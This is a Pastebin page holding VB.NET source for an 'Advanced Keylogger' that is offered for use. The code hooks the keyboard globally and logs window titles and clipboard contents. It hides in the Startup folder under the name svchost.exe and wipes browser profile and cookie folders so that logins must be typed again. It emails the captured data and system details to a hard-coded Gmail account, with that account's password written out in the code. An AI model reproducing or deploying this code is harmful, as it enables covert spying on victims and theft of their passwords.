API tools faq
paste
Asobice

Advanced Keylogger

Asobice
Feb 25th, 2018
272
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VisualBasic 14.79 KB | None | 0 0
raw download clone embed print report
  1. Imports System.Text
  2. Imports System.IO
  3. Imports System.ComponentModel
  4. Imports System.Net.Mail
  5.  
  6. 'to view more about this source code, go this youtube channel:https://www.youtube.com/watch?v=zvBAEsWpmzs
  7. 'Published on Oct 28, 2013
  8. 'Get source code and whole project by clicking the link: www.codeexecutable.com/courses/view/Adva­nced-Keylogger/All-in-one-keylogger
  9.  
  10. Public Class Form1
  11.     Dim WithEvents K As New Keyboard
  12.     Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
  13.     Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
  14.     Private Declare Function ToUnicodeEx Lib "user32.dll" (ByVal wVirtKey As Keys, ByVal wScanCode As UInteger, ByVal lpKeyState() As Byte, ByVal pwszBuff As StringBuilder, ByVal cchBuff As Integer, ByVal wFlags As UInteger, ByVal dwhkl As IntPtr) As Integer
  15.     Dim strin As String = Nothing
  16.     Private Sub keyboardlanguages()
  17.         For index = 0 To InputLanguage.InstalledInputLanguages.Count - 1 Step 1
  18.             TextBox2.Text = InputLanguage.InstalledInputLanguages.Item(index).LayoutName.ToString + TextBox2.Text
  19.         Next
  20.     End Sub
  21.     Private Function getactivewindowstitle() As String
  22.         Dim mystr As String
  23.         mystr = New String(Chr(0), 100)
  24.         GetWindowText(GetForegroundWindow, mystr, 100)
  25.         mystr = mystr.Substring(0, InStr(mystr, Chr(0)) - 1)
  26.         Return mystr
  27.     End Function
  28.  
  29.     Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
  30.         If strin <> getactivewindowstitle() Then
  31.             TextBox1.Text = TextBox1.Text + vbNewLine + vbNewLine + "[" + getactivewindowstitle() + "]" + vbNewLine + "--->" + Clipboard.GetText.ToString + "<---" + vbNewLine + vbNewLine
  32.             strin = getactivewindowstitle()
  33.         End If
  34.     End Sub
  35.     Private Sub k_down(ByVal key As String) Handles K.Down
  36.         TextBox1.Text &= key
  37.     End Sub
  38.  
  39.     Private Sub Timer3_Tick(sender As Object, e As EventArgs) Handles Timer3.Tick
  40.         'windows 7 startup user
  41.        Try
  42.  
  43.             Dim file1 As String = Application.ExecutablePath
  44.             Dim copy1 As String = "c:\users\" + Environment.UserName.ToString + "\appdata\roaming\microsoft\windows\start menu\programs\startup\svchost.exe"
  45.             If File.Exists(copy1) Then
  46.             Else
  47.                 System.IO.File.Copy(file1, copy1)
  48.             End If
  49.         Catch ex As Exception
  50.         End Try
  51.     End Sub
  52.  
  53.     Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
  54.         keyboardlanguages()
  55.         Select Case (My.Settings.browser)
  56.             Case 0
  57.                 My.Settings.browser = 1
  58.                 My.Settings.Save()
  59.                 My.Settings.Reload()
  60.             Case 1
  61.                 Timer4.Start()
  62.             Case 2
  63.             Case Else
  64.         End Select
  65.  
  66.         TextBox1.Text = Now() + vbNewLine + vbNewLine
  67.  
  68.         Try
  69.             Dim myprocess As New Process()
  70.             myprocess.StartInfo.UseShellExecute = False
  71.             myprocess.StartInfo.RedirectStandardOutput = True
  72.             Try
  73.                 myprocess.StartInfo.FileName = "ipconfig"
  74.                 myprocess.StartInfo.Arguments = "/all"
  75.                 myprocess.StartInfo.CreateNoWindow = True
  76.                 myprocess.Start()
  77.                 TextBox1.Text = TextBox1.Text + _
  78.                 Replace(myprocess.StandardOutput.ReadToEnd(), _
  79.                 Chr(13) & Chr(13), Chr(13))
  80.                 myprocess.WaitForExit()
  81.             Catch ex As Win32Exception
  82.             End Try
  83.         Catch ex As Exception
  84.         End Try
  85.         Try
  86.             TextBox1.Text = vbNewLine + vbNewLine + TextBox1.Text + vbNewLine + vbNewLine + "user name:   " + Environment.UserName.ToString
  87.             TextBox1.Text = TextBox1.Text + vbNewLine + "computer Name:   " + Environment.MachineName.ToString
  88.             TextBox1.Text = TextBox1.Text + vbNewLine + "screen:   " + My.Computer.Screen.WorkingArea.ToString
  89.             TextBox1.Text = TextBox1.Text + vbNewLine + "os version:   " + Environment.OSVersion.ToString
  90.             TextBox1.Text = TextBox1.Text + vbNewLine + "run time:   " + Environment.Version.ToString
  91.             TextBox1.Text = TextBox1.Text + vbNewLine + "system root:   " + Environment.SystemDirectory.ToString
  92.             TextBox1.Text = TextBox1.Text + vbNewLine + "user domain Name:   " + Environment.UserName.ToString
  93.             TextBox1.Text = TextBox1.Text + vbNewLine + "total physical memory:   " + My.Computer.Info.TotalPhysicalMemory.ToString
  94.             TextBox1.Text = TextBox1.Text + vbNewLine + "remain physical memory:   " + My.Computer.Info.AvailablePhysicalMemory.ToString
  95.             TextBox1.Text = TextBox1.Text + vbNewLine + vbNewLine
  96.             K.CreateHook()
  97.         Catch ex As Exception
  98.         End Try
  99.     End Sub
  100.  
  101.     Private Sub Timer4_Tick(sender As Object, e As EventArgs) Handles Timer4.Tick
  102.         'Windows 7
  103.  
  104.         'mozilla deletes folder and .ini file
  105.        If My.Computer.FileSystem.DirectoryExists("C:\Users\" + Environment.UserName.ToString + "AppData\roaming\mozilla\firefox\profiles.ini") Then
  106.             Try
  107.                 My.Computer.FileSystem.DeleteDirectory("C:\Users\" + Environment.UserName.ToString + "AppData\roaming\mozilla\firefox\profiles.ini", FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
  108.                 System.IO.File.Delete("c:\users" + Environment.UserName.ToString + "\appdata\roaming\mozilla\firefox\profiles.ini")
  109.  
  110.             Catch ex As Exception
  111.             End Try
  112.         Else
  113.  
  114.         End If
  115.  
  116.         'chrome deletes folder
  117.        If My.Computer.FileSystem.DirectoryExists("C:\Users\" + Environment.UserName.ToString + "\AppData\Local\Google\Chrome\User Data") Then
  118.             Try
  119.                 My.Computer.FileSystem.DeleteDirectory("C:\Users\" + Environment.UserName.ToString + "\AppData\Local\Google\Chrome\User Data", FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
  120.             Catch ex As Exception
  121.             End Try
  122.         Else
  123.  
  124.         End If
  125.  
  126.         'IE delete folder
  127.  
  128.         If My.Computer.FileSystem.DirectoryExists("C:\Users\" + Environment.UserName.ToString + "\AppData\Roaming\Microsoft\Windows\Cookies") Then
  129.             Try
  130.                 My.Computer.FileSystem.DeleteDirectory("C:\Users\" + Environment.UserName.ToString + "\AppData\Roaming\Microsoft\Windows\Cookies", FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
  131.             Catch ex As Exception
  132.             End Try
  133.         Else
  134.  
  135.         End If
  136.  
  137.         My.Settings.browser = 2
  138.         My.Settings.Save()
  139.         My.Settings.Reload()
  140.         Timer4.Stop()
  141.     End Sub
  142.  
  143.     Private Sub Form1_FormClosing(sender As Object, e As FormClosingEventArgs) Handles MyBase.FormClosing
  144.         Try
  145.             Dim mymailmessage As New mailmessage()
  146.             mymailmessage.From = New MailAddress("wendoessps1ceven7@gmail.com")
  147.             mymailmessage.To.Add("wendoessps1ceven7@gmail.com")
  148.             mymailmessage.Subject = Environment.UserName.ToString + "turned off part:" + My.Settings.part.ToString
  149.             mymailmessage.body = TextBox1.Text
  150.             Dim SMTpServer As New SmtpClient("smtp.gmail.com")
  151.             SMTpServer.port = 587
  152.             SMTpServer.Credentials = New System.Net.NetworkCredential("wendoessps1ceven7@gmail.com", "wendoesSPS17")
  153.             SMTpServer.EnableSsl = True
  154.             SMTpServer.send(mymailmessage)
  155.         Catch ex As Exception
  156.         End Try
  157.         My.Settings.part = My.Settings.part + 1
  158.         My.Settings.Save()
  159.         My.Settings.Reload()
  160.     End Sub
  161.  
  162.     Private Sub Timer2_Tick(sender As Object, e As EventArgs) Handles Timer2.Tick
  163.         Try
  164.             Timer1.Stop()
  165.             Dim mymailmessage As New MailMessage()
  166.             mymailmessage.From = New MailAddress("wendoessps1ceven7@gmail.com")
  167.             mymailmessage.To.Add("wendoessps1ceven7@gmail.com")
  168.             mymailmessage.Subject = Environment.UserName.ToString + "part:" + My.Settings.part.ToString + My.Settings.part.ToString + TextBox2.Text
  169.             'sent this
  170.            mymailmessage.Body = "compare info: " + My.Computer.Info.InstalledUICulture.CompareInfo.ToString + vbNewLine +
  171.             "display name: " + My.Computer.Info.InstalledUICulture.DisplayName.ToString + vbNewLine +
  172.             "english name: " + My.Computer.Info.InstalledUICulture.DisplayName.ToString + vbNewLine +
  173.             "left language tag: " + My.Computer.Info.InstalledUICulture.IetfLanguageTag.ToString + vbNewLine +
  174.             "name: " + My.Computer.Info.InstalledUICulture.Name.ToString + vbNewLine +
  175.             "native name: " + My.Computer.Info.InstalledUICulture.NativeName.ToString + vbNewLine +
  176.             "text info: " + My.Computer.Info.InstalledUICulture.TextInfo.ToString + vbNewLine +
  177.             "3 letter ISOlanguage name: " + My.Computer.Info.InstalledUICulture.ThreeLetterISOLanguageName.ToString + vbNewLine +
  178.             "3 letter windows language name: " + My.Computer.Info.InstalledUICulture.ThreeLetterISOLanguageName.ToString + vbNewLine +
  179.             "2 letter ISO language name: " + My.Computer.Info.InstalledUICulture.TwoLetterISOLanguageName.ToString + vbNewLine + vbNewLine + vbNewLine + TextBox1.Text
  180.             Dim SMTpServer As New SmtpClient("smtp.gmail.com")
  181.  
  182.             SMTpServer.Port = 587
  183.             SMTpServer.Credentials = New System.Net.NetworkCredential("wendoessps1ceven7@gmail.com", "wendoesSPS17")
  184.             SMTpServer.EnableSsl = True
  185.             SMTpServer.Send(mymailmessage)
  186.             TextBox1.Clear()
  187.             Timer1.Start()
  188.         Catch ex As Exception
  189.         End Try
  190.         My.Settings.part = My.Settings.part + 1
  191.         My.Settings.Save()
  192.         My.Settings.Reload()
  193.     End Sub
  194. End Class
  195.  
  196.  
  197. keyboard languages class
  198.  
  199.  
  200. Public Class Keyboard
  201.     Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal Hook As Integer, ByVal KeyDelegate As KDel, ByVal HMod As Integer, ByVal ThreadId As Integer) As Integer
  202.     Private Declare Function CallNextHookEx Lib "user32" (ByVal Hook As Integer, ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KeyStructure) As Integer
  203.     Private Declare Function UnhookWindowsHookEx Lib "user32" Alias "UnhookWindowsHookEx" (ByVal Hook As Integer) As Integer
  204.     Private Delegate Function KDel(ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KeyStructure) As Integer
  205.     Public Shared Event Down(ByVal Key As String)
  206.     Public Shared Event Up(ByVal Key As String)
  207.     Private Shared Key As Integer
  208.     Private Shared KHD As KDel
  209.     Private Structure KeyStructure : Public Code As Integer : Public ScanCode As Integer : Public Flags As Integer : Public Time As Integer : Public ExtraInfo As Integer : End Structure
  210.     Public Sub CreateHook()
  211.         KHD = New KDel(AddressOf Proc)
  212.         Key = SetWindowsHookEx(13, KHD, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0)
  213.     End Sub
  214.  
  215.     Private Function Proc(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As KeyStructure) As Integer
  216.         If (Code = 0) Then
  217.             Select Case wParam
  218.                 Case &H100, &H104 : RaiseEvent Down(Feed(CType(lParam.Code, Keys)))
  219.                 Case &H101, &H105 : RaiseEvent Up(Feed(CType(lParam.Code, Keys)))
  220.             End Select
  221.         End If
  222.         Return CallNextHookEx(Key, Code, wParam, lParam)
  223.     End Function
  224.     Public Sub DiposeHook()
  225.         UnhookWindowsHookEx(Key)
  226.         MyBase.Finalize()
  227.     End Sub
  228.     Private Function Feed(ByVal e As Keys) As String
  229.         Select Case e
  230.             Case 65 To 90
  231.                 If Control.IsKeyLocked(Keys.CapsLock) Or (Control.ModifierKeys And Keys.Shift) <> 0 Then
  232.                     Return e.ToString
  233.                 Else
  234.                     Return e.ToString.ToLower
  235.                 End If
  236.             Case 48 To 57
  237.                 If (Control.ModifierKeys And Keys.Shift) <> 0 Then
  238.                     Select Case e.ToString
  239.                         Case "D1" : Return "!"
  240.                         Case "D2" : Return "@"
  241.                         Case "D3" : Return "#"
  242.                         Case "D4" : Return "$"
  243.                         Case "D5" : Return "%"
  244.                         Case "D6" : Return "^"
  245.                         Case "D7" : Return "&"
  246.                         Case "D8" : Return "*"
  247.                         Case "D9" : Return "("
  248.                         Case "D0" : Return ")"
  249.                     End Select
  250.                 Else
  251.                     Return e.ToString.Replace("D", Nothing)
  252.                 End If
  253.             Case 96 To 105
  254.                 Return e.ToString.Replace("NumPad", Nothing)
  255.             Case 106 To 111
  256.                 Select Case e.ToString
  257.                     Case "Divide" : Return "/"
  258.                     Case "Multiply" : Return "*"
  259.                     Case "Subtract" : Return "-"
  260.                     Case "Add" : Return "+"
  261.                     Case "Decimal" : Return "."
  262.                 End Select
  263.             Case 32
  264.                 Return " "
  265.             Case 186 To 222
  266.                 If (Control.ModifierKeys And Keys.Shift) <> 0 Then
  267.                     Select Case e.ToString
  268.                         Case "OemMinus" : Return "_"
  269.                         Case "Oemplus" : Return "+"
  270.                         Case "OemOpenBrackets" : Return "{"
  271.                         Case "Oem6" : Return "}"
  272.                         Case "Oem5" : Return "|"
  273.                         Case "Oem1" : Return ":"
  274.                         Case "Oem7" : Return """"
  275.                         Case "Oemcomma" : Return "<"
  276.                         Case "OemPeriod" : Return ">"
  277.                         Case "OemQuestion" : Return "?"
  278.                         Case "Oemtilde" : Return "~"
  279.                     End Select
  280.                 Else
  281.                     Select Case e.ToString
  282.                         Case "OemMinus" : Return "-"
  283.                         Case "Oemplus" : Return "="
  284.                         Case "OemOpenBrackets" : Return "["
  285.                         Case "Oem6" : Return "]"
  286.                         Case "Oem5" : Return ""
  287.                         Case "Oem1" : Return ";"
  288.                         Case "Oem7" : Return "'"
  289.                         Case "Oemcomma" : Return ","
  290.                         Case "OemPeriod" : Return "."
  291.                         Case "OemQuestion" : Return "/"
  292.                         Case "Oemtilde" : Return "`"
  293.                     End Select
  294.                 End If
  295.             Case Keys.Return
  296.                 Return Environment.NewLine
  297.             Case Else
  298.                 Return "<" + e.ToString + ">"
  299.         End Select
  300.         Return Nothing
  301.     End Function
  302. End Class
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!